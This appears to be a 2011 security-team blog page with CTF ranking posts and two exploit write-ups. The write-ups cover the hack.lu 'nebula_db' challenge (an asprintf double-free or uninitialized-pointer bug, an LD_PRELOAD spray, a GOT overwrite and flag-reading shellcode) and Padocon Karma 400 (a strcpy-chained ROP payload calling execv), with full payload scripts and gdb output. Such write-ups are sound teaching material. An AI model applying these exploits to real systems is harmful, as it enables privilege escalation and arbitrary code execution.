#7th at CSAW CTF

September 26, 2011 by admin · Leave a Comment 

There are quite a number of CTF games this month. After #hacklu last week, some of us have played CSAW CTF Quals over the weekend. We finished at 7th (solved all the challenges except the 200 points Recon Judge challenge of Dino Dai Zovi).

Congratz to the top 6 teams who solved all the challenges. See you guys at rwthCTF next week.

csawctf_ranking

P/S: ‘Undergraduate’ category was a mistake :P)

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

hack.lu CTF 2011 nebula DB systems

September 22, 2011 by suto · 2 Comments 

Challenge Summary:

While you were investigating the Webserver of Nebula Death Stick Services, we, the Galactic’s Secret Service, put our hands on a SSH account of one of the Nebula Death Stick Services founders. This account directly leads to one of their Death Stick storage clusters. Therefore we instruct you with another mission: this time you will have to break their database systems in order to get higher privileges and find further infos about Nebula Corp. And again, may the force be with you!
User: nebulauser

Pass: nebulauser

Host: ctf.hack.lu

Port: 2008

After login to ctf.hack.lu server we get 4 files:
-nebula_db
-nebula_db_nosuid
_nebula_db.c
_hint

nebula_db is a file with suid(s) bits, when you execute that you have required permission to read the flag, nebula_db_nosuid is the file for testing and debuging purpose, nebula_db.c is source code of challenge, hint is tell you where is the flag stored.
So basically you need to execute nebula_db and some how try to alter execution flow to do some more thing for you ( read the flag ).
First things is try to spot the vuln by reading source code they provided:

/* Nebula Death Stick Services Database Management System
 * This Software has been written to keep track of our customers and their orders.
 * It is still in developement, but I'm pretty sure it's already stable enough for a safe maintenance.
 */

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#define DB_SIZE 256

char *db[DB_SIZE];

int edit_entry(char *choice, unsigned int entry)
{
        char edit[256], *ln;
        unsigned int len;

        if (atoi(choice) > entry - 1 || atoi(choice) < 0 || entry == 0)
                return -1;

        len = strlen(db[atoi(choice)]);

        printf("Enter your edit: ");
        fgets(edit, sizeof(edit) - 1, stdin);

        ln = strchr(edit, '\n');

        if (ln != NULL)
                *ln = '\0';

        strncpy(db[atoi(choice)], edit, len);

        return 0;
}

char *insert_new_order(unsigned int entry, char *name, char *amount)
{
        char sname[256], samount[256], *nl, *ptr;(3)
        int ret;

        nl = strchr(name, '\n');

        if (nl != NULL)
                *nl = '\0';

        nl = strchr(amount, '\n');

        if (nl != NULL)
                *nl = '\0';

        ret = asprintf(&ptr, "ID: %d: Name: %s Amount: %s", entry, name, amount);

        if (ret == 0)
                return NULL;

        return ptr;
}

char *enter_new_order(unsigned int entry)
{
        char name[256], amount[256];

        printf("Enter a Name: ");
        fgets(name, sizeof(name) - 1, stdin);

        printf("Enter amount of Death Sticks: ");
        fgets(amount, sizeof(amount) - 1, stdin);

        if (atoi(amount) <= 0) {
                fprintf(stderr, "Insert a real amount please!\n");
                return NULL;
        }

        if (entry > DB_SIZE - 1) {
                fprintf(stderr, "Database already full!\n");
                return NULL;
        }

        return insert_new_order(entry, name, amount);

}

int print_database(unsigned int entry)
{
        unsigned int i;

        for (i = 0; i < entry; i++)
                printf("%s\n", db[i]);

        return 0;
}

int exit_free(unsigned int entry)
{
        unsigned int i;

        for (i = 0; i < entry; i++)
                free(db[i]);

        return 0;
}

int main(int argc, char **argv)
{
        char choice[256], *ret;
        unsigned int entry = 0, len, i;

        puts(
                "Nebula Database set up!\n"
                "Enter your choice of action:\n"
                "1 - Insert new order\n"
                "2 - Edit order\n"
                "3 - List orders\n"
                "4 - Exit\n"
        );

        while (1) {(4)
                printf("Your choice: ");
                fgets(choice, sizeof(choice) - 1, stdin);
                switch (atoi(choice)) {
                        case 1:
                        ret = enter_new_order(entry);

                        if (ret == NULL) {
                                fprintf(stderr, "Error inserting new order!\n");
                                break;
                        }

                        db[entry] = ret;
                        entry++;(2)
                        break;

                        case 2:
                        printf("Enter the ID of your order: ");
                        fgets(choice, sizeof(choice) - 1, stdin);

                        if (edit_entry(choice, entry) == -1)
                                fprintf(stderr, "That entry does not exist!\n");

                        break;

                        case 3:
                        print_database(entry);
                        break;

                        case 4:
                        return exit_free(entry);

                        default:
                        fprintf(stderr, "Option does not exist\n");
                }
        }

        return 0;
}

As they said, the challenge is a small db management, it save name and amount of orders in an array up to 256 record. You can add or edit a record.
So the funny part is:

  ret = asprintf(&ptr, "ID: %d: Name: %s Amount: %s", entry, name, amount);
   if (ret == 0)
                return NULL;

And after reading manpages of asprintf, i figured out there is a problem when using it without fully understand what it returned, so return value indicate how many bytes it printed, and the funny part is when it failed, it will return -1 but programmer is not check for that case, they think when it will return 0 mean it failed.
It mean we can still increase entry value at (2) without create any new record. It basic will lead to double free memory corruption error. So next thing is try to figure out how to force asprintf return -1 ( or force it can’t alloc any memory ). After getting help from rd and xichzo, we found ulimit do the tricks:

suto@ubuntu:~$  ulimit -v 1795
suto@ubuntu:~$ ./nebula_db
Nebula Database set up!
Enter your choice of action:
1 - Insert new order
2 - Edit order
3 - List orders
4 - Exit

Your choice: 1
Enter a Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Enter amount of Death Sticks: 1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
Your choice: 4
*** glibc detected *** ./n: double free or corruption (out): 0x08049118 ***
Aborted (core dumped)
suto@ubuntu:~$

After getting here, i see another way can lead to successful exploitation. When asprintf fail, it will use ptr(3) at a result for main program use to keep track a record, somehow we can make this ptr point to some where we want and edit_entry will take care the rest to write a value we control to that address(since ptr is use without initialized)
But i can’t find anyway to do that, so i thinking another solution.
And i wonder if when the first alloc failt, so it will use the original value of at that address. After some check i’m stuck cause i can’t not do anything without this default value.
I try some google in hopeless :p with keyword: “control uninitialized memory”
At the first resutls is:
http://drosenbe.blogspot.com/2010/04/controlling-uninitialized-memory-with.html

Another trick to control memory at the begining of process execution. Let’s check:

suto@ubuntu:~$ export LD_PRELOAD=`python -c 'print "A"*20000'`
suto@ubuntu:~$ ulimit -c unlimited
suto@ubuntu:~$  ulimit -v 1795
suto@ubuntu:~$ ./nebula_db
ERROR: ld.so: object '<A>*20000...
 from LD_PRELOAD cannot be preloaded: ignored.
Nebula Database set up!
Enter your choice of action:
1 - Insert new order
2 - Edit order
3 - List orders
4 - Exit

Your choice: 1
Enter a Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Enter amount of Death Sticks: 1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
Your choice: 2
Enter the ID of your order: 0
Segmentation fault (core dumped)
suto@ubuntu:~$

So if this tricks work, we will have a write to address at 0×41414141.

(gdb) x/i $eip
=> 0xb764b706:  movdqu (%edi),%xmm1
(gdb) i r $edi
edi            0x41414141       1094795585
(gdb) bt
#0  0xb764b706 in ?? () from /lib/i386-linux-gnu/libc.so.6
#1  0x0804864c in edit_entry ()
#2  0x08048a04 in main ()

So this is all i want :p Next things is find some where to write, and i choose GOT section, first thing i trying is printf@GOT and using a hardcode address to return, and i stupid try to do that to the end of the game :(.
After that, thinking a little bit, i got another solution:
After the calling edit_entry ( where we can directly write to GOT section), program will return to while loop at (4) and continue execute, then i see a good candidate to overwrite is atoi, why? cause after fgets at (5) eax will point to our string, and we will use call *eax gadget to execute our shellcode.
And finally:

export LD_PRELOAD=`python -c 'print "\x18\x91\x04\x08"*4000+"\xcc"*1000'`

This will force program wirte to atoi@PLT and

suto@ubuntu:~$ objdump -d n | grep call | grep eax
 80485a8:       ff 14 85 08 90 04 08    call   *0x8049008(,%eax,4)
 80485ef:       ff d0                   call   *%eax
 8048b1b:       ff d0                   call   *%eax
suto@ubuntu:~$ python -c 'print "1\n"+"A"*250+"\n"+"1"*250+"\n"+"2\n0\n"+"\x1b\x8b\x04\x08"*40+"\xcc"*400' > input
suto@ubuntu:~$ bash
suto@ubuntu:~$ ulimit -s unlimited
suto@ubuntu:~$ export LD_PRELOAD=`python -c 'print "\x18\x91\x04\x08"*4000+"\xcc"*1000'`
suto@ubuntu:~$ ulimit -c unlimited
suto@ubuntu:~$  ulimit -v 1795
suto@ubuntu:~$ ./nebula_db < input
ERROR: ld.so: object from LD_PRELOAD cannot be preloaded: ignored.
Nebula Database set up!
Enter your choice of action:
1 - Insert new order
2 - Edit order
3 - List orders
4 - Exit

Trace/breakpoint trap (core dumped)
.......
(gdb) x/20x $eip
0xbfa33571:     0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0xbfa33581:     0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0xbfa33591:     0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0xbfa335a1:     0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0xbfa335b1:     0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc

So you can replace \xcc with a shellcode to read the flag key file.
Here is my shellcode to read /home/suto/flag and write to /tmp/flag: ( assembly source)

char shellcode[] =
        "\xeb\x44\x5b\x31\xc0\x88\x43\x0f\xb0\x05\xb9\x42\x44\x41\x41"
        "\xc1\xe1\x14\xc1\xe9\x14\x66\xba\xe4\x01\xcd\x80\x50\x83\xc3"
        "\x10\x31\xc0\xb0\x05\xcd\x80\x5b\x50\xb0\xc8\x29\xc4\x89\xe1"
        "\x89\xc2\x31\xc0\xb0\x03\xcd\x80\xb0\xc8\x01\xc4\x5b\x31\xc0"
        "\xb0\x04\xcd\x80\x31\xc0\xb0\x01\xcd\x80\xe8\xb7\xff\xff\xff"
        "\x2f\x68\x6f\x6d\x65\x2f\x73\x75\x74\x6f\x2f\x66\x6c\x61\x67"
        "\x41\x2f\x74\x6d\x70\x2f\x66\x6c\x61\x67";
suto@ubuntu:~$ python -c 'print "1\n"+"A"*250+"\n"+"1"*250+"\n"+"2\n0\n"+  "\xeb\x44\x5b\x31\xc0\x88\x43\x0f\xb0\x05\xb9\x42\x44\x41\x41       \xc1\xe1\x14\xc1\xe9\x14\x66\xba\xe4\x01\xcd\x80\x50\x83\xc3
\x10\x31\xc0\xb0\x05\xcd\x80\x5b\x50\xb0\xc8\x29\xc4\x89\xe1
\x89\xc2\x31\xc0\xb0\x03\xcd\x80\xb0\xc8\x01\xc4\x5b\x31\xc0
\xb0\x04\xcd\x80\x31\xc0\xb0\x01\xcd\x80\xe8\xb7\xff\xff\xff
\x2f\x68\x6f\x6d\x65\x2f\x73\x75\x74\x6f\x2f\x66\x6c\x61\x67
\x41\x2f\x74\x6d\x70\x2f\x66\x6c\x61\x67";' > input
suto@ubuntu:~$./nebula_db < input
suto@ubuntu:~$cat /tmp/flag
hello

Finally,congratz to bobsleigh is the only team solved it.
Thanks fluzfinger team for a great ctf. See u guys in next year!

–suto–

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

#4th at hack.lu CTF

September 21, 2011 by admin · Leave a Comment 

Thanks FluxFingers for the great #CTF at hack.lu!!!!

final_score

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

DEFCON 19 CTF Quals: writeups collection

May 31, 2011 by longld · 1 Comment 

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

Padocon 2011 CTF Karma 400 exploit: the data re-use way

January 31, 2011 by longld · 1 Comment 

Karma 400 at Padocon 2011 Online CTF is a fun challenge. The binary was provided without source code, you can reach its decompiled source at disekt’s team writeup. In that writeup, the solution was bruteforcing address of IO stdin buffer with return to do_system() trick. Karma 400 is different than other karma attackme:

  • It runs as a network daemon (via xinetd): so you cannot abuse its arguments and environments
  • Input buffer is 200 bytes: you have room for payload (not only just overwrite saved EIP)
  • There is a 10 seconds sleep before main() returns: this makes bruteforcing less effective

In this post I will show how to exploit karma 400 with data re-use method.

$ gdb -q karma400_lolcosmostic
gdb$ pattern_create 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
gdb$ r
input: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

Program received signal SIGSEGV, Segmentation fault.
--------------------------------------------------------------------------[regs]
 EAX: 0x00000000  EBX: 0x41346141  ECX: 0xBFFFF384  EDX: 0x00B84FF4  o d I t S z a p c
 ESI: 0x00000000  EDI: 0x61413561  EBP: 0x62413961  ESP: 0xBFFFF3DC  EIP: 0x08048793
 CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
[0x007B:0xBFFFF3DC]------------------------------------------------------[stack]
0xBFFFF42C : 64 37 41 64 38 41 64 39 - 41 65 30 41 65 31 41 65 d7Ad8Ad9Ae0Ae1Ae
0xBFFFF41C : 41 64 32 41 64 33 41 64 - 34 41 64 35 41 64 36 41 Ad2Ad3Ad4Ad5Ad6A
0xBFFFF40C : 36 41 63 37 41 63 38 41 - 63 39 41 64 30 41 64 31 6Ac7Ac8Ac9Ad0Ad1
0xBFFFF3FC : 63 31 41 63 32 41 63 33 - 41 63 34 41 63 35 41 63 c1Ac2Ac3Ac4Ac5Ac
0xBFFFF3EC : 41 62 36 41 62 37 41 62 - 38 41 62 39 41 63 30 41 Ab6Ab7Ab8Ab9Ac0A
0xBFFFF3DC : 30 41 62 31 41 62 32 41 - 62 33 41 62 34 41 62 35 0Ab1Ab2Ab3Ab4Ab5
--------------------------------------------------------------------------[code]
=> 0x8048793:    ret
 0x8048794:    nop
 0x8048795:    nop
 0x8048796:    nop
--------------------------------------------------------------------------------
0x08048793 in ?? ()
gdb$ x/x $esp
0xbffff3dc:    0x31624130

gdb$ pattern_offset 200 0x31624130
Searching for 0Ab1 in buf size 200
32

We have 200-32 = 168 bytes left for our payload. The goal is to execute a custom shell in /tmp, for this purpose I choose execv("/tmp/v", ptr_to_NULL).

Step 1: transfer the string "/tmp/v" to un-used data region using chained strcpy() calls

gdb$ x/32wx 0x08049a50
0x8049a50:    0x00000000    0x00000000    0x00000000    0x00000000
0x8049a60 <stdin>:    0x00b85440    0x00000000    0x00000000    0x00000000
0x8049a70:    0x00000000    0x00000000    0x00000000    0x00000000
0x8049a80 <stdout>:    0x00b854e0    0x00000000    0x00000000    0x00000000
0x8049a90:    0x00000000    0x00000000    0x00000000    0x00000000
0x8049aa0:    0x00000000    0x00000000    0x00000000    0x00000000
0x8049ab0:    0x00000000    0x00000000    0x00000000    0x00000000
0x8049ac0:    0x00000000    0x00000000    0x00000000    0x00000000

TARGET = 0x8049a90
NULLARGV = TARGET - 4

gdb$ info func strcpy@plt
All functions matching regular expression "strcpy@plt":

Non-debugging symbols:
0x080484f0  strcpy@plt

STRCPY = 0x080484f0

gdb$ x/4i 0x80485e3
 0x80485e3:    pop    ebx
 0x80485e4:    pop    ebp
 0x80485e5:    ret
 0x80485e6:    lea    esi,[esi+0x0]
gdb$

POP2RET = 0x80485e3

gdb$ findsubstr 0x08048000 0x08049000 "/tmp/v\\x00"
Searching for '/tmp/v\x00'
'/': 0x8048134
't': 0x80480f6
'm': 0x80482dc
'p': 0x8048313
'/': 0x8048134
'v\x00': 0x80485e7

DATA1 = [0x8048134, 0x80480f6, 0x80482dc, 0x8048313, 0x8048134, 0x80485e7]

The payload will look like:
[ STRCPY, POP2RET, TARGET, DATA1[0],  STRCPY, POP2RET, TARGET+1, DATA1[1], ... ]

Step-2: overwrite GOT entry of puts() (or any function) with execv()
This is a bit tricky, because libc address is ASCII ARMOR we cannot put execv() address directly on the payload. Fortunately, libc address is not randomized so we can directly overwrite GOT with execv() address using strcpy likes the data above.

gdb$ p execv
$2 = {<text variable, no debug info>} 0xac4680 <execv>

EXECV = 0xac4680
gdb$ info functions puts@plt
All functions matching regular expression "puts@plt":

Non-debugging symbols:
0x08048540  puts@plt
gdb$ x/i 0x08048540
 0x8048540 <puts@plt>:    jmp    DWORD PTR ds:0x8049a48

PLTADDR = 0x08048540
GOTADDR = 0x8049a48

gdb$ findsubstr 0x08048000 0x08049000  0xac4680
Searching for '\x80F\xac'
'\x80': 0x804803d
'F': 0x8048003
'\xac': 0x80481b0

gdb$ findsubstr 0x08048000 0x08049000  0x00
Searching for '\x00'
'\x00': 0x8048007

DATA2 = [0x804803d, 0x8048003, 0x80481b0, 0x8048007]

The payload will look like:
[ STRCPY, POP2RET, GOTADDR, DATA2[0], STRCPY, POP2RET, GOTADDR+1, DATA2[1], ... ]

Finally, we make call to execv() via puts@plt:
[ PLTADDR, 0xdeadbeef, TARGET, NULLARGV ]

We have a small problem, our payload size is 176. Each strcpy() call takes 16 bytes payload and there is 10 calls for data transfer, we have to reduce at least 1 call. We can tweak our custom shell a bit to reduce payload length, instead of "/tmp/v" we use "/tmp/ld-linux.so.2" so the last string to copy is "/ld-linux.so.2".

gdb$ findsubstr 0x08048000 0x0804a000  "/"
Searching for '/'
'/': 0x8048134
gdb$ x/s 0x8048134
0x8048134:     "/lib/ld-linux.so.2"
gdb$ x/s 0x8048138
0x8048138:     "/ld-linux.so.2"

DATA1 = [0x8048134, 0x80480f6, 0x80482dc, 0x8048313, 0x8048138]

Wrap things up and test:

gdb$ shell python
Python 2.6.6 (r266:84292, Sep 15 2010, 15:52:39)
[GCC 4.4.5] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> TARGET = 0x8049a90
>>> NULLARGV = TARGET - 4
>>> STRCPY = 0x080484f0
>>> POP2RET = 0x80485e3
>>> DATA1 = [0x8048134, 0x80480f6, 0x80482dc, 0x8048313, 0x8048138]
>>> PAYLOAD = []
>>> for i in range(len(DATA1)):
...     PAYLOAD += [STRCPY, POP2RET, TARGET+i, DATA1[i]]
...
>>> for i in range(len(DATA2)):
...     PAYLOAD += [STRCPY, POP2RET, GOTADDR+i, DATA2[i]]
...
>>> PAYLOAD += [PLTADDR, 0xdeadbeef, TARGET, NULLARGV]
>>> len(PAYLOAD)
40
>>> fd = open("payload", "wb")
>>> import struct
>>> fd.write("A"*32) # padding
>>> for i in range(len(PAYLOAD)):
...     fd.write(struct.pack("<I", PAYLOAD[i]))
...
>>> fd.close()
>>> ^D

gdb$ shell ln -s /usr/bin/id /tmp/ld-linux.so.2
gdb$ r < payload
input: process 1866 is executing new program: /usr/bin/id

Program received signal SIGPIPE, Broken pipe.

Pwned!

Notes:

  • This way can also be applied to exploit karma 500
  • Disekt's return to do_system() trick is really neat for local exploit
Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

« Previous PageNext Page »